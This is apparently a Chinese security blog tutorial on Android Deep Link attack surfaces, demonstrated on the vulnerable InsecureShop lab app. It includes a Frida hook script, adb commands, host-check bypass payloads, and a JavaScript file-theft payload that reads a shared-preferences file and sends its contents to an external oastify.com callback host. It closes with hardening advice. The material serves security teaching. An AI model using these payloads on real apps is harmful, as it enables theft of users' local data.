目錄結(jié)構(gòu)
[Deep Link介紹](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#deep-link介紹)
- [概念](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#概念)
- [應(yīng)用場景](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#應(yīng)用場景)
[提取并調(diào)用APP中的Deep Link](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#提取并調(diào)用app中的deep-link)
- [方法一:從AndroidManifest中提取](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法一:從androidmanifest中提取)
- [方法二:使用MobSF](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法二:使用mobsf)
- [方法三:使用Frida](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法三:使用frida)
- [方法四:網(wǎng)頁](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#方法四:網(wǎng)頁)
- [調(diào)用](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#調(diào)用)
[攻擊面分析](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#攻擊面分析)
- [URL無驗(yàn)證](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#url無驗(yàn)證)
- [弱主機(jī)驗(yàn)證](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#弱主機(jī)驗(yàn)證)
- [竊取本地?cái)?shù)據(jù)](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#竊取本地?cái)?shù)據(jù))
- [其他](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#其他)
- [弱主機(jī)驗(yàn)證-升級(jí)版](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#弱主機(jī)驗(yàn)證-升級(jí)版)
[防護(hù)建議](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#防護(hù)建議)
[參考鏈接](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#參考鏈接)
1.1. Deep Link介紹
1.1.1. 概念
Android Deep Link(深層鏈接)
是一種特殊的鏈接協(xié)議耀怜,主要用于在應(yīng)用程序之間導(dǎo)航和交互美莫,使用 Deep Link 可以從一個(gè)APP跳轉(zhuǎn)到另一個(gè)APP中相應(yīng)的頁面,實(shí)現(xiàn)APP間的無縫跳轉(zhuǎn)瓣窄。
舉個(gè)大家熟悉的例子,瀏覽器打開知乎時(shí)纳鼎,會(huì)提示“打開App”俺夕,點(diǎn)擊后,如果安裝過知乎則會(huì)直接跳到應(yīng)用的對(duì)應(yīng)頁面贱鄙,如果沒安裝則跳轉(zhuǎn)到下載應(yīng)用頁劝贸。
[
不過需要注意的是,上面的 *沒安裝則跳轉(zhuǎn)到下載應(yīng)用頁* 是 Deferred deeplink(延遲深度鏈接)
贰逾,他和基礎(chǔ)的deeplink相比悬荣,如果用戶沒有下載APP,則引導(dǎo)用戶下載安裝該APP疙剑,且在安裝啟動(dòng)后立即跳轉(zhuǎn)到指定的頁面或功能中氯迂。
Deferred Deep Link
可以提高用戶的體驗(yàn)和應(yīng)用程序的轉(zhuǎn)化率,因?yàn)樗梢宰層脩糁苯犹D(zhuǎn)到指定的頁面或功能言缤,而無需手動(dòng)查找嚼蚀。
1.1.2. 應(yīng)用場景
- 一鍵跳轉(zhuǎn): 在應(yīng)用內(nèi)部或應(yīng)用外部直接跳轉(zhuǎn)到指定頁面或執(zhí)行特定操作的功能。
- 傳參安裝: 在應(yīng)用市場或者推廣渠道傳遞參數(shù)管挟,以便在用戶安裝應(yīng)用后轿曙,應(yīng)用可以根據(jù)傳遞的參數(shù)自動(dòng)進(jìn)行初始化或者展示特定頁面。
- 分享閉環(huán): 在應(yīng)用內(nèi)分享一個(gè)商品鏈接僻孝,用戶點(diǎn)擊鏈接可以直接跳轉(zhuǎn)到商品詳情頁面导帝。
- 無碼邀請: 在應(yīng)用內(nèi)點(diǎn)擊邀請好友的按鈕,可以生成一個(gè)唯一的邀請鏈接穿铆,并在邀請過程中跳轉(zhuǎn)到應(yīng)用內(nèi)的注冊頁面您单。
- 渠道追蹤: 通過deeplink跳轉(zhuǎn)到應(yīng)用市場,可以記錄該用戶從哪個(gè)推廣渠道下載應(yīng)用荞雏,并將該信息傳遞給應(yīng)用后臺(tái)進(jìn)行數(shù)據(jù)統(tǒng)計(jì)和分析虐秦。
1.2. 提取并調(diào)用APP中的Deep Link
測試APP:https://github.com/hax0rgb/InsecureShop/releases
1.2.1. 方法一:從AndroidManifest中提取
在AndroidManifest.xml
中尋找android:scheme
[
可以看出,使用insecureshop://com.insecureshop/
可以啟動(dòng)com.insecureshop.WebViewActivity
這個(gè)組件凤优。
1.2.2. 方法二:使用MobSF
[
1.2.3. 方法三:使用Frida
通過frida hook進(jìn)行監(jiān)聽悦陋,js腳本如下
//Modified version of <https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/>
//frida -U -p pid -l script.js
// Define a global object to store previously seen intents
var seenIntents = {};
Java.perform(function() {
var Intent = Java.use("android.content.Intent");
Intent.getData.implementation = function() {
var action = this.getAction() !== null ? this.getAction().toString() : false;
if (action) {
// Create a unique key for the current intent by concatenating its action and data URI
var key = action + '|' + (this.getData() !== null ? this.getData().toString() : '');
// Check if this intent has been seen before
if (seenIntents.hasOwnProperty(key)) {
return this.getData();
} else {
// Mark this intent as seen by adding it to the global object
seenIntents[key] = true;
console.log("[*] Intent.getData() was called");
console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
console.log("[*] Action: " + action);
var uri = this.getData();
if (uri !== null) {
console.log("\\n[*] Data");
uri.getScheme() && console.log("- Scheme:\\t" + uri.getScheme() + "://");
uri.getHost() && console.log("- Host:\\t\\t/" + uri.getHost());
uri.getQuery() && console.log("- Params:\\t" + uri.getQuery());
uri.getFragment() && console.log("- Fragment:\\t" + uri.getFragment());
console.log("\\n\\n");
} else {
console.log("[-] No data supplied.");
}
}
}
return this.getData();
}
});
hook
# 找到system的pid
frida-ps -U | grep system_server
# hook
frida -U -l deeplink.js -p 7309
[
1.2.4. 方法四:網(wǎng)頁
這個(gè)方法不是很好用,但是有助于在挖掘的時(shí)候發(fā)現(xiàn)一些deep link
還是以知乎為例筑辨,打開控制臺(tái)俺驶,點(diǎn)擊“打開APP”后,觀察報(bào)錯(cuò)挖垛,就可以拿到對(duì)應(yīng)的deep link痒钝。
[
1.2.5. 調(diào)用
一般為了方便秉颗,使用adb
進(jìn)行調(diào)用,命令如下:
adb shell am start -W -a android.intent.action.VIEW -d <deeplink>
也可以寫一個(gè)html送矩,然后讓手機(jī)訪問后點(diǎn)擊調(diào)用(模擬真實(shí)的攻擊環(huán)境)
<a href="<deeplink>">Click</a>
但是調(diào)用前蚕甥,我們還需要拿到對(duì)應(yīng)的路由和參數(shù),跟蹤到對(duì)應(yīng)的組件中栋荸,分析如何構(gòu)造菇怀,詳見[下方舉例](https://blog.gm7.org/個(gè)人知識(shí)庫/04.移動(dòng)安全/07.高階技巧/01.Android Deep Link 攻擊面.html#url無驗(yàn)證)。
[
1.3. 攻擊面分析
還是需要根據(jù)具體情況具體分析晌块,看自己可控的部分有哪些爱沟。
1.3.1. URL無驗(yàn)證
完全沒有驗(yàn)證加載的URL地址。
分析如圖:
- 如果路由是
/web
匆背,則會(huì)進(jìn)入else
中 - 從參數(shù)
url
中取值給data - 通過
webview
加載data
[
所以利用調(diào)用的命令如下:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"
效果如下呼伸,成功打開了我的博客
[
1.3.2. 弱主機(jī)驗(yàn)證
驗(yàn)證了HOST,但可以被繞過钝尸。
分析如圖:
- 路由不是
/web
但路由是/webview
- 從參數(shù)
url
中取值給queryParameter
- 判斷
queryParameter
是否以insecureshopapp.com
結(jié)尾的 - 如果是括享,就把url的值賦值給data
- 通過
webview
加載data
[
這里只是要求了結(jié)尾必須出現(xiàn)特定的字符串,所以很簡單珍促,如:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"
就是常規(guī)的URL跳轉(zhuǎn)繞過铃辖,可以用?
,也可以用#
猪叙,還可以用參數(shù)格式a=insecureshopapp.com
等等娇斩。
[
1.3.3. 竊取本地?cái)?shù)據(jù)
在上面2個(gè)基礎(chǔ)上進(jìn)行深入利用,但我感覺有點(diǎn)雞肋穴翩,因?yàn)閔ttp協(xié)議無法跨域到file協(xié)議犬第,就只能從file協(xié)議跨到file協(xié)議
上述2處其實(shí)都和URL跳轉(zhuǎn)差不多,可以控制跳轉(zhuǎn)到任意網(wǎng)站中芒帕,但這里由于是在手機(jī)客戶端上執(zhí)行的瓶殃,所以也可以嘗試通過file
協(xié)議訪問到手機(jī)本地的一些敏感文件,從而嘗試竊取副签。
不過要竊取本地文件,有2個(gè)前置條件:
-
setAllowUniversalAccessFromFileURLs(true)
:默認(rèn)情況下基矮,Android WebView不允許跨域訪問本地文件系統(tǒng)淆储,即getAllowUniversalAccessFromFileURLs()
方法的返回值為false
,如果要在WebView中允許跨域訪問本地文件系統(tǒng)家浇,則需要使用setAllowUniversalAccessFromFileURLs()
方法來設(shè)置該選項(xiàng)為true
-
setJavaScriptEnabled(true)
:默認(rèn)情況下本砰,WebView 不支持 JavaScript代碼執(zhí)行,如果想要支持js代碼钢悲,就需要調(diào)用setJavaScriptEnabled(true)
這個(gè)方法点额,開啟js代碼執(zhí)行舔株。
在漏洞環(huán)境中,這兩個(gè)條件都是滿足的还棱,也就可以開始竊取了载慈。
[
假設(shè)存在敏感文件:/data/data/com.insecureshop/shared_prefs/Prefs.xml
然后我們進(jìn)行加載敏感文件:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"
如下圖,能訪問到本地的文件珍手。
[
但僅僅是這樣還不夠办铡,因?yàn)橹荒茉L問到,不能說是竊取了琳要,因此需要進(jìn)一步通過js來獲取數(shù)據(jù)寡具。
編寫html,將其保存為hello.html
<script type="text/javascript">
function theftFile(path, callback) {
var req = new XMLHttpRequest();
req.open("GET", "file://" + path, true);
req.onload = function(e) {
callback(req.responseText);
}
req.onerror = function(e) {
callback(null);
}
req.send();
}
var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml";
theftFile(file, function(contents) {
location.href = "http://x42yrqsoq9fo74gv3bqtbfhfx63yrn.oastify.com/?data=" + encodeURIComponent(contents);
});
</script>
將其上傳到可訪問的目錄下稚补,然后通過webview來加載這個(gè)html
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"
[
成功獲取到了數(shù)據(jù)童叠。
Note
這里只能從file協(xié)議到file協(xié)議才可以成功,如果從http協(xié)議到file協(xié)議课幕,異常日志為:Cross origin requests are only supported for protocol schemes: http, data, chrome, https.
所以這里也是為什么認(rèn)為利用比較雞肋的地方厦坛。
1.3.4. 其他
弱主機(jī)驗(yàn)證-升級(jí)版
通過uri.getHost()
獲取host
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "legitimate.com".equals(uri.getHost());
}
繞過payload,通過其他協(xié)議撰豺。
javascript://legitimate.com/%0aalert(1)
file://legitimate.com/sdcard/exploit.html
content://legitimate.com/
1.4. 防護(hù)建議
- 對(duì)傳入的內(nèi)容進(jìn)行檢查清洗粪般,根據(jù)業(yè)務(wù)要求設(shè)置白名單等。
- 如果
setJavaScriptEnabled
設(shè)置為true
污桦,則要對(duì)加載的JS內(nèi)容嚴(yán)格驗(yàn)證亩歹。 - 盡可能的將如下函數(shù)的返回值設(shè)置為False
getAllowFileAccess
getAllowFileAccessFromFileURLs
getAllowUniversalAccessFromFileURLs